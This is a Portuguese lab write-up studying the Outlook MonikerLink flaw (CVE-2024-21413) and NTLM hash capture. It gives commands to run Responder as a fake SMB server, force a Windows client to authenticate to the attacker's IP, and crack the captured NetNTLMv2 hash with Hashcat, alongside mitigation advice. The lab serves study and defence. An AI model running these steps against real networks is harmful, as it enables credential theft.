Laboratório SMB + Responder (CVE-2024-21413)

🎯 Objetivo

Este projeto teve como objetivo estudar a vulnerabilidade CVE-2024-21413 (MonikerLink), explorando como o protocolo SMB/NTLM pode ser abusado para captura de credenciais.
Mesmo após a correção oficial da Microsoft, o laboratório mostra que o conceito continua válido em cenários internos.

📖 Exploit Theory

A vulnerabilidade (CVE-2024-21413), conhecida como MonikerLink, foi classificada como crítica (CVSS 9.8). Ela ocorre porque o Outlook processava links "file://" de forma insegura, utilizando APIs antigas de COM (Moniker Objects). Esses objetos permitiam que o Outlook chamasse recursos externos sem passar pela Protected View, induzindo o cliente a iniciar conexões SMB automaticamente.

1. O que é Moniker Link?

É um recurso do Windows que permite referenciar objetos COM por meio de links especiais.

2. Como o Outlook processava file://

O exploit original abusava de links "file://" ou UNC paths enviados por e-mail.

3. Como ocorria o bypass com "!"

Ao adicionar o caractere "!" no link, era possível contornar proteções internas do Outlook, forçando a abertura direta do recurso externo.

4. Como o NTLM era exposto

Isso resultava em autenticação NTLM automática, expondo hashes NetNTLMv2 ao atacante sem interação significativa do usuário.

5. O que o patch corrige

O patch KB5002519 bloqueia especificamente esse comportamento no Outlook, impedindo que links "file://" sejam processados dessa forma.

6. O que o patch NÃO corrige

No entanto, o NTLM automático do Windows continua funcionando fora do contexto do Outlook, ou seja, qualquer tentativa de acessar recursos SMB em ambiente onde NTLM está habilitado e não há restrições de autenticação ainda pode gerar envio automático de hashes.

📌 Relação entre Outlook, SMB/NTLM e Responder Exploit original: via spam de e-mail com link malicioso → Outlook processava → NTLM autenticava automaticamente → atacante recebia hash.

Laboratório interno: simulamos apenas a parte conceitual → forçamos manualmente a conexão SMB → Responder capturou o hash → Hashcat realizou o cracking.

Por que ainda funciona? Porque o NTLM é um protocolo legado que autentica automaticamente em conexões SMB, independentemente do Outlook. O patch corrige o cliente Outlook, mas não elimina o comportamento do NTLM no windows

🏗️ Arquitetura do Lab

• Atacante: Kali Linux com Responder e Hashcat.
• Vítima: Windows com Outlook instalado.
• Rede: LAN simulada, sem exposição externa.
• Ferramentas:
  • Responder → para envenenamento de protocolos e captura de hashes.
  • Hashcat → para cracking offline dos hashes capturados.

🛡️ Patch do Outlook

Durante os testes, o Outlook bloqueou links file:// vindos de e-mail, exibindo alerta de segurança:

Observação

O patch KB5002519, lançado em fevereiro de 2024, mitiga o vetor externo via e-mail ao bloquear links file://.
No entanto, o protocolo NTLM continua permitindo autenticação automática em conexões SMB.
Isso significa que, embora o Outlook esteja protegido contra este exploit específico, a superfície de ataque interna permanece válida.
A raiz da questão está na dependência do NTLM como mecanismo de autenticação, que continua suscetível a captura de hashes em conexões SMB.

📊 Métricas de risco

• CVE: CVE-2024-21413
• CVSS: 9.8 (Crítico)
• Impacto: RCE + vazamento de credenciais
• Vetor: Externo (Outlook) e Interno (SMB/NTLM)
• Mitigação recomendada:
  • Aplicar patch KB5002519.
  • Desabilitar NTLM onde possível.
  • Forçar Kerberos em ambientes AD.
  • Implementar MFA e senhas fortes.

📚 Aprendizados

1. O patch do Outlook bloqueia apenas o clique em links externos.
2. O SMB/NTLM continua sendo uma superfície de ataque dentro da rede.
3. Hashes NetNTLMv2 podem ser capturados e quebrados offline.
4. Senhas fracas são facilmente descobertas em wordlists comuns.
5. Mesmo com correção oficial, a vulnerabilidade mantém relevância em cenários internos.

📌 Passo-a-passo

1. Iniciar Responder Aqui iniciamos o Responder na interface de rede do Kali. Ele atua como um servidor SMB falso, pronto para responder às requisições da vítima e capturar credenciais NTLM. Esse passo é essencial para preparar o ambiente de envenenamento de protocolos e interceptação. Comando no Kali Linux:

sudo responder -I eth0

2. Forçar comunicação SMB
   No Windows, acessamos manualmente um recurso SMB apontando para o IP do atacante. Esse acesso força o cliente Windows a tentar autenticar automaticamente via NTLM, enviando o hash para o servidor falso (Responder). É nesse momento que ocorre a exposição inicial das credenciais. Podemos forçar a comunicação SMB de duas formas:

Via Explorer, acessando manualmente:

\\<IP do atacante>\test.

Via terminal (cmd ou PowerShell), usando o comando:

net use \\<IP do atacante>\test

3. Captura de hash
   O Responder intercepta a tentativa de autenticação e salva o hash NTLMv2 em um arquivo de log dentro de /usr/share/responder/logs/. Esse arquivo contém o material bruto que será usado para o cracking. Aqui evidenciamos a vulnerabilidade: mesmo sem senha em texto claro, o hash pode ser capturado e reutilizado.

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

4. Cracking com Hashcat
   Antes de rodar o Hashcat, copiamos o hash do log para um arquivo em nossa home (~/hash.txt). Isso facilita a manipulação e garante que o Hashcat tenha acesso direto ao conteúdo. Em seguida, executamos o Hashcat no modo 5600 (NetNTLMv2) com a wordlist rockyou.txt. Esse processo tenta quebrar o hash offline, demonstrando como senhas fracas podem ser descobertas rapidamente. O resultado mostra se a senha foi encontrada, evidenciando o risco real da vulnerabilidade.

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt

Nota:
A senha real não é exibida por questões de segurança. O objetivo é demonstrar o processo e a vulnerabilidade.

✅ Conclusão

Este laboratório evidenciou que:

• O exploit via Outlook foi bloqueado pelo patch.
• Ainda assim, é possível capturar e quebrar hashes SMB manualmente.
• A vulnerabilidade continua válida como conceito, reforçando a importância de hardening interno, senhas fortes e migração para Kerberos/token-based auth.